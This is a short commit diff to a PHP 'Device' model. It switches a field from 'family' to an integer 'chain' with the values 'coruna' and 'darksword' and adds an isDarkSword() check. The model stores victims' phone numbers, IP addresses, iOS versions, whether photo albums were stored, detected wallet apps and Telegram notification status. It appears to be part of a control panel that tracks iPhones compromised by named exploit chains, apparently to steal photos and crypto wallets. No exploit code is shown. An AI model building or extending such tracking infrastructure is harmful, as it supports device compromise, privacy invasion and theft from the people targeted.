feat: ds
This commit is contained in:
+10
-4
@@ -13,18 +13,18 @@ class Device extends Model
|
||||
|
||||
public const WALLET_YES = 2;
|
||||
|
||||
public const FAMILY_CORUNA = 'coruna';
|
||||
public const CHAIN_CORUNA = 1;
|
||||
|
||||
public const FAMILY_DARKSWORD = 'darksword';
|
||||
public const CHAIN_DARKSWORD = 2;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
'family' => self::FAMILY_CORUNA,
|
||||
'chain' => self::CHAIN_CORUNA,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -33,10 +33,16 @@ class Device extends Model
|
||||
'telegram_notified' => 'boolean',
|
||||
'album_storage' => 'boolean',
|
||||
'has_wallet' => 'integer',
|
||||
'chain' => 'integer',
|
||||
'wallet_names' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function isDarkSword(): bool
|
||||
{
|
||||
return (int) $this->chain === self::CHAIN_DARKSWORD;
|
||||
}
|
||||
|
||||
public function hasWalletApps(): bool
|
||||
{
|
||||
return (int) $this->has_wallet === self::WALLET_YES;
|
||||
|
||||
Reference in New Issue
Block a user